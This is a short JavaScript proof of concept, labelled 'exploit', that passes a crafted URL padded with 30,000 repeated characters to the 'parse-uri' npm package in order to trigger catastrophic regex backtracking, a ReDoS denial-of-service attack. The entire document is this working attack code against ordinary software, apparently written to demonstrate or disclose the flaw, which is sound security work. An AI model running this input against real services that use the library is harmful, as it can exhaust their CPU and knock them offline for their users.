async function exploit() {
    const parseuri = require("parse-uri");
    // This input is designed to cause excessive backtracking in the regex
    const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
    const result = await parseuri(craftedInput);
    }
await exploit();
